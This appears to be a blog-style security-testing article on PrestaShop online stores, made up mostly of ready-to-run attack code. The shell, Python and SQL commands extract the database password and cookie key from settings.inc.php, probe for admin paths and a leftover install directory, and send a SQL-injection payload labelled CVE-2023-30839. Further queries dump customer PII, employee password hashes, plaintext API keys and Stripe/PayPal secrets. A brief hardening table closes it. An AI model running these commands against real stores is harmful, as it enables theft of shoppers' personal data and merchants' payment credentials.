E-commerce Security Testing

PrestaShop Security Testing: Default Credentials, API Key, Database, and E-commerce

📅 July 3, 2026 ⏱ 10 min read 🏷 PrestaShop, E-commerce Security, settings.inc.php, MySQL, Webservice API Key, SQL Injection CVE, Cookie Key, Customer PII, Payment Configuration, Admin Directory

settings.inc.php MySQL Credential and Cookie Key Extraction

# PrestaShop — settings.inc.php MySQL credential and cookie key extraction
PS_URL="https://shop.example.com"

# config/settings.inc.php — PrestaShop main configuration (CRITICAL)
cat /var/www/prestashop/config/settings.inc.php 2>/dev/null
# define('_DB_SERVER_', 'localhost');
# define('_DB_NAME_', 'prestashop');
# define('_DB_USER_', 'prestashop');
# define('_DB_PASSWD_', '...');        <-- MySQL database password
# define('_COOKIE_KEY_', '...');       <-- cookie encryption key (session forgery)
# define('_COOKIE_IV_', '...');        <-- cookie IV

python3 -c "
import re
content = open('/var/www/prestashop/config/settings.inc.php').read()
patterns = {
    '_DB_PASSWD_': r\"define\('_DB_PASSWD_',\s*'([^']+)'\)\",
    '_COOKIE_KEY_': r\"define\('_COOKIE_KEY_',\s*'([^']+)'\)\",
    '_DB_NAME_': r\"define\('_DB_NAME_',\s*'([^']+)'\)\",
    '_DB_USER_': r\"define\('_DB_USER_',\s*'([^']+)'\)\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m:
        print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Check if install/ directory was not removed after installation
curl -s -o /dev/null -w "%{http_code}" "${PS_URL}/install/" 2>/dev/null
# 200 = install directory accessible — database reset and admin account takeover possible

# Discover renamed admin directory
for ADMIN_PATH in admin admin123 admin1 ps_admin prestashop_admin backend; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PS_URL}/${ADMIN_PATH}/" 2>/dev/null)
  [ "$STATUS" != "404" ] && echo "Admin found at: /${ADMIN_PATH}/ (HTTP ${STATUS})"
done

Webservice API Key Enumeration and CVE Assessment

# PrestaShop Webservice API — API key enumeration and CVE assessment
PS_URL="https://shop.example.com"

# Webservice API — PrestaShop uses HTTP Basic auth with API key as username, empty password
# API keys are stored in ps_webservice table

# Test unauthenticated Webservice access
curl -s "${PS_URL}/api/" 2>/dev/null | head -10
# If accessible: returns XML with available resources
# If 401: Webservice enabled but requires key

# With extracted API key (from MySQL)
API_KEY="extracted-webservice-api-key"

# List all customers via Webservice
curl -s "${PS_URL}/api/customers?limit=10&display=full" \
  -u "${API_KEY}:" 2>/dev/null | \
  python3 -c "
import xml.etree.ElementTree as ET,sys
try:
    root = ET.fromstring(sys.stdin.read())
    for c in root.findall('.//customer')[:5]:
        print(f'  {c.findtext(\"firstname\")} {c.findtext(\"lastname\")} - {c.findtext(\"email\")}')
except: pass
" 2>/dev/null

# CVE-2023-30839 — PrestaShop SQL injection via product attributes
# Affects PrestaShop < 8.0.4 (reported March 2023)
# SQL injection in the listing of attributes for a product in the back office
curl -s -X POST "${PS_URL}/admin-dev/index.php" \
  --data "controller=AdminProducts&action=attributeOptions&id_product=1%27%20OR%20SLEEP(5)--%20-" \
  2>/dev/null | head -3

# Check PrestaShop version for known CVEs
curl -s "${PS_URL}/" 2>/dev/null | grep -i "prestashop" | head -3
# Also check: /INSTALL.txt, /CHANGELOG.txt for version disclosure

MySQL E-commerce Data and Payment Credential Extraction

# PrestaShop MySQL database — e-commerce data and payment credential extraction
DB_PASS="extracted-db-password"

mysql -u prestashop -p"${DB_PASS}" prestashop 2>/dev/null << 'EOF'
-- Admin employees with password hashes
SELECT e.id_employee, e.email, e.passwd, e.lastname, e.firstname, e.active
FROM ps_employee e
ORDER BY e.id_employee
LIMIT 20;
-- passwd: MD5(COOKIE_KEY + password) in older versions; bcrypt in newer

-- All customers (PII and hashed passwords)
SELECT c.id_customer, c.email, c.passwd, c.firstname, c.lastname,
       c.birthday, c.date_add, c.is_guest
FROM ps_customer c
WHERE c.deleted = 0
ORDER BY c.id_customer
LIMIT 20;

-- Webservice API keys (plaintext)
SELECT ws.key, ws.description, ws.active
FROM ps_webservice ws
WHERE ws.active = 1;
-- ws.key: plaintext API key for Webservice authentication

-- Payment configuration (Stripe, PayPal, etc.)
SELECT c.name, c.value
FROM ps_configuration c
WHERE c.name LIKE '%API%'
OR c.name LIKE '%SECRET%'
OR c.name LIKE '%KEY%'
OR c.name LIKE '%STRIPE%'
OR c.name LIKE '%PAYPAL%'
LIMIT 30;

-- Order data with customer PII
SELECT o.id_order, o.reference, o.total_paid, o.date_add,
       c.email, c.firstname, c.lastname
FROM ps_orders o
JOIN ps_customer c ON o.id_customer = c.id_customer
ORDER BY o.date_add DESC
LIMIT 10;
EOF

PrestaShop Security Hardening

Security Test	Method	Risk
settings.inc.php _DB_PASSWD_ and _COOKIE_KEY_ extraction	Read config/settings.inc.php — MySQL credentials for all e-commerce data; _COOKIE_KEY_ enables session cookie analysis and potential forgery	Critical
install/ directory post-installation accessibility	GET /install/ returns 200 — database reset and new admin account creation possible without existing credentials	Critical
Webservice API key plaintext extraction	MySQL SELECT key FROM ps_webservice — plaintext API keys; full customer, order, and product data access via /api/ endpoint	High
CVE-2023-30839 SQL injection in product attributes	POST to admin product attribute endpoint — SQL injection in PrestaShop < 8.0.4; potential data extraction from all database tables	High
Payment gateway API key extraction from ps_configuration	MySQL SELECT value FROM ps_configuration WHERE name LIKE '%STRIPE%' — live payment processor credentials; charge creation, refund issuance	High